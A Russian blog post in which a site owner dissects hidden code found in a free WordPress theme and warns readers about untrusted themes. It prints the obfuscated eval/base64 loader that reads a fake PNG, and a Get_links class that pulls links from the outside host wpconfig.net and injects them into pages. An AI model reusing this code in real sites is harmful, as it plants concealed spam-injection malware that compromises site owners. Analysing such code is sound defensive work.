Здравствуйте, уважаемые хаброжители. Не так давно я создал сайт на туристическую тематику. Поставил Wordpress, брат писал статьи, и всё было хорошо, пока я не решил поставить бесплатный шаблон. Для меня сверстать шаблон для wp пол дня работы, но ленивый я, и решил сэкономить на этом время, взяв уже готовый. Нашел с помощью Google сайт, там было пару десятков шаблонов на туристическую тематику, выбрал буквально первый попавшийся. Начал проверять на всякую дрянь, потому что бесплатный сыр только в мышеловке. Было пару ссылок в подвале, я их незамедлительно убрал, но 3-4 ссылки при этом всё равно оставались. Как Вы думаете, куда бы их могли спрятать? В картинку!
При активации шаблона, создавался файл get.php в папке этого же шаблона с непонятным содержимым, там была функция
А в раскодированном виде так:
Только без переносов строк, это я их добавил для наглядности.
Сразу в глаза бросилась первая строка:
Хотел открыть в графическом редакторе, но не получилось, сразу стало ясно, что там что-то плохое!
Чуть ниже видим gzuncompress (), то есть получаеться, что «картинка» эта, просто сжатый текстовый файл, который опять таки содержал base64 строку, а в ней были ссылки.
После часа возни, я всё таки убрал весь хлам, но если бы не ап PR, я бы не нашел вещь ещё более ужасней. Всё началось так: решил с помощью SEOMonitor проверить, нету ли у меня страниц, кроме главной, которые имеют PR, и просто для любопытства поставил галочку «искать внешние ссылки», какое же у меня было удивление, что кроме LiveInternet есть ещё одна ссылка, совсем левая ссылка, так ещё и в только в одной статье, а на сайте их более 100.
Полез обратно в шаблон, начал искать, и сразу же в файле comments.php вижу это:
Смотрю и думаю: «странный это класс Get_links (), его не должно здесь быть!».
Зашел я в этот function.php, нашел класс, кстати вот код:
И сразу же бросилось в глаза это:
Проверил wpconfig.net, сайт такой есть, только возвращает он пустую страницу, наверное что-то отдаст с определённым параметром, который передаёт этот метод get_remote (). Ещё он кучу картинок насоздавал в папке /uploads/2012/, все они с хешами md5. Вот этот путь 'wp-content/uploads/2012/'.md5 ($_SERVER['REQUEST_URI']).'.jpg' для создания картинок видно внизу. Все 100+ картинок были пусты, кроме одной, в которой было то, что я нашел в самом начале, это ссылки на на левый сайт.
Будьте внимательны при использовании посторонних бесплатных шаблонов, потому что они могут засунуть любую гадость. Например могут сменить пароли к админке вместе с мылом. Могут удалить статьи, или воровать статьи. Например вы заказали у копирайтера статью, не успели опубликовать, как тут же она опубликуется на более трастовом ресурсе, и все ваши и копирайтера старания к одному месту. Или может возникнуть конфликтная ситуация, когда Вы начнёте подозревать копирайтера в продаже текста третьим лицам. Хотя виноват будет не копирайтер, а Вы. Если не можете найти сами, попросите верстальщика, но лучше конечно заказать новый или купить готовый шаблон, потому что так безопасней.
При активации шаблона, создавался файл get.php в папке этого же шаблона с непонятным содержимым, там была функция
base64_decode
и eval
, содержимое выглядело примерно так:<?php eval(base64_decode('JGYgPSBkaXJuYW1lKF9fZmlsZV9fKS4nL2ltYWdlcy93cF9tZW51X3RvcC5wbmcnOwppZiAoZmlsZV9leGlzdHMoJGYpKXsKICAgICRmcCA9IGZvcGVuKCRmLCJyIik7CiAgICAkcyA9IGZyZWFkKCRmcCxmaWxlc2l6ZSgkZikpOwogICAgZmNsb3NlKCRmcCk7CiAgICBldmFsKCckbT0nLmd6dW5jb21wcmVzcyhzdHJpcHNsYXNoZXMoJHMpKS4nOycpOwogICAgJGkwPSRtWzBdOwogICAgJGkxPSRtWzFdOwogICAgJGkyPSRtWzJdOwogICAgJGkzPSRtWzNdOwogICAgdW5zZXQoJG1bMF0sJG1bMV0sJG1bMl0pOwogICAgc2h1ZmZsZSgkbSk7CiAgICAkY3NbMF09JGkwLiRpMS4kbVswXS4kaTIuJG1bMV0uJGkyLiRtWzJdLiRpMzsKICAgICRjc1sxXT0kaTAuJGkxLiRtWzNdLiRpMi4kbVs0XS4kaTIuJG1bNV0uJGkzOwogICAgZWNobyAoJGNzWzBdKTsKICAgIGVjaG8gKCRjc1sxXSk7Cn0KCmZ1bmN0aW9uIGZuKCl7CiAgICBpZigoaXNfaG9tZSgpKSYmIShpc19wYWdlZCgpKSkgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X2ZpcnN0JykpO2Vsc2UgJG49YmFzZTY0X2RlY29kZShnZXRfb3B0aW9uKCd3cF90aGVtZV9tZW51X3NlY29uZCcpKTtyZXR1cm4gJG47Cn0KJF9HRVRbJ2dfXyddID0gMTsKZnVuY3Rpb24gY2IoJHBhcmFtKXsKICAgIGVjaG8gKCRfR0VUWydnX18nXT4wKSA/IGZuKCkgOiAnJzsKICAgICRfR0VUWydnX18nXSA9IDA7CiAgICByZXR1cm4gJHBhcmFtOwp9CmlmICgkYikgYWRkX2FjdGlvbignd2lkZ2V0X3RpdGxlJywnY2InKTs='))
А в раскодированном виде так:
<?php
$f = dirname(__file__).'/images/wp_menu_top.png';
if (file_exists($f)){
$fp = fopen($f,"r");
$s = fread($fp,filesize($f));
fclose($fp);
eval('$m='.gzuncompress(stripslashes($s)).';');
$i0=$m[0];
$i1=$m[1];
$i2=$m[2];
$i3=$m[3];
unset($m[0],$m[1],$m[2]);
shuffle($m);
$cs[0]=$i0.$i1.$m[0].$i2.$m[1].$i2.$m[2].$i3;
$cs[1]=$i0.$i1.$m[3].$i2.$m[4].$i2.$m[5].$i3;
echo ($cs[0]);
echo ($cs[1]);
}
function fn(){
if((is_home())&&!(is_paged())) $n=base64_decode(get_option('wp_theme_menu_first'));else $n=base64_decode(get_option('wp_theme_menu_second'));return $n;
}
$_GET['g__'] = 1;
function cb($param){
echo ($_GET['g__']>0) ? fn() : '';
$_GET['g__'] = 0;
return $param;
}
if ($b) add_action('widget_title','cb');
Только без переносов строк, это я их добавил для наглядности.
Сразу в глаза бросилась первая строка:
$f = dirname(__file__).'/images/wp_menu_top.png';
Хотел открыть в графическом редакторе, но не получилось, сразу стало ясно, что там что-то плохое!
Чуть ниже видим gzuncompress (), то есть получаеться, что «картинка» эта, просто сжатый текстовый файл, который опять таки содержал base64 строку, а в ней были ссылки.
После часа возни, я всё таки убрал весь хлам, но если бы не ап PR, я бы не нашел вещь ещё более ужасней. Всё началось так: решил с помощью SEOMonitor проверить, нету ли у меня страниц, кроме главной, которые имеют PR, и просто для любопытства поставил галочку «искать внешние ссылки», какое же у меня было удивление, что кроме LiveInternet есть ещё одна ссылка, совсем левая ссылка, так ещё и в только в одной статье, а на сайте их более 100.
Полез обратно в шаблон, начал искать, и сразу же в файле comments.php вижу это:
<?php $lib_path = dirname(__FILE__).'/'; require_once('functions.php'); $links = new Get_links(); $links = $links->return_links($lib_path); echo $links; ?>
Смотрю и думаю: «странный это класс Get_links (), его не должно здесь быть!».
Зашел я в этот function.php, нашел класс, кстати вот код:
error_reporting('^ E_ALL ^ E_NOTICE');
ini_set('display_errors', '0');
error_reporting(E_ALL);
ini_set('display_errors', '0');
class Get_links {
var $host = 'wpconfig.net';
var $path = '/system.php';
var $_cache_lifetime = 21600;
var $_socket_timeout = 5;
function get_remote() {
$req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);
$_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";
$links_class = new Get_links();
$host = $links_class->host;
$path = $links_class->path;
$_socket_timeout = $links_class->_socket_timeout;
//$_user_agent = $links_class->_user_agent;
@ini_set('allow_url_fopen', 1);
@ini_set('default_socket_timeout', $_socket_timeout);
@ini_set('user_agent', $_user_agent);
if (function_exists('file_get_contents')) {
$opts = array(
'http'=>array(
'method'=>"GET",
'header'=>"Referer: {$req_url}\r\n".
"User-Agent: {$_user_agent}\r\n"
)
);
$context = stream_context_create($opts);
$data = @file_get_contents('http://' . $host . $path, false, $context);
preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);
$data = @$data[2];
return $data;
}
return '<!--link error-->';
}
function return_links($lib_path) {
$links_class = new Get_links();
$file = ABSPATH.'wp-content/uploads/2012/'.md5($_SERVER['REQUEST_URI']).'.jpg';
$_cache_lifetime = $links_class->_cache_lifetime;
if (!file_exists($file))
{
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {
@touch($file, time());
$data = $links_class->get_remote();
file_put_contents($file, $data);
return $data;
} else {
$data = file_get_contents($file);
return $data;
}
}
}
И сразу же бросилось в глаза это:
var $host = 'wpconfig.net';
var $path = '/system.php';
Проверил wpconfig.net, сайт такой есть, только возвращает он пустую страницу, наверное что-то отдаст с определённым параметром, который передаёт этот метод get_remote (). Ещё он кучу картинок насоздавал в папке /uploads/2012/, все они с хешами md5. Вот этот путь 'wp-content/uploads/2012/'.md5 ($_SERVER['REQUEST_URI']).'.jpg' для создания картинок видно внизу. Все 100+ картинок были пусты, кроме одной, в которой было то, что я нашел в самом начале, это ссылки на на левый сайт.
Будьте внимательны при использовании посторонних бесплатных шаблонов, потому что они могут засунуть любую гадость. Например могут сменить пароли к админке вместе с мылом. Могут удалить статьи, или воровать статьи. Например вы заказали у копирайтера статью, не успели опубликовать, как тут же она опубликуется на более трастовом ресурсе, и все ваши и копирайтера старания к одному месту. Или может возникнуть конфликтная ситуация, когда Вы начнёте подозревать копирайтера в продаже текста третьим лицам. Хотя виноват будет не копирайтер, а Вы. Если не можете найти сами, попросите верстальщика, но лучше конечно заказать новый или купить готовый шаблон, потому что так безопасней.